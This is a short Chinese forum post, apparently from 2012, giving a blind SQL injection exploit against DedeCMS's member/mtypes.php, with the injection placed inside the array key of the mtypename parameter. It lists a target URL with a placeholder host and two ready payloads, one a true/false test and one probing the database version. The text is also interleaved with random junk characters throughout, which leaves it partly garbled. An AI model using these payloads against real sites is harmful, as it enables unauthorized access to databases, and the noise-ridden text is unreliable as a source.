需要magic_quotes_gpc = Off,所以说是鸡肋啊.
# p/ b( h" C5 K. B. _( F* C; v4 P& R1 f9 D; p
4 M0 U+ K$ m0 W7 N1 ]5 a
发生在数组key里的注射漏洞,有点意思./ V0 Y& B; n, @& m& c- O, n" I
, N) e# i' p! A$ C这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下5 X$ f+ W1 \! L& X$ |, m2 }. I
* J; {4 {; Y& ~# whttp://www.xxx.com /dede/member/mtypes.php?dopost=save7 L; N# h, E* p- _1 `
9 D6 W! o9 c" g% Pexploit:1 k5 z# l: e l3 g& s6 U+ ?
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r# b9 H9 y0 M, \* i& @- y& J6 z
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
% ?' e/ I# |: x; V |
发表于 2012-12-20 08:08:09
收藏
支持
反对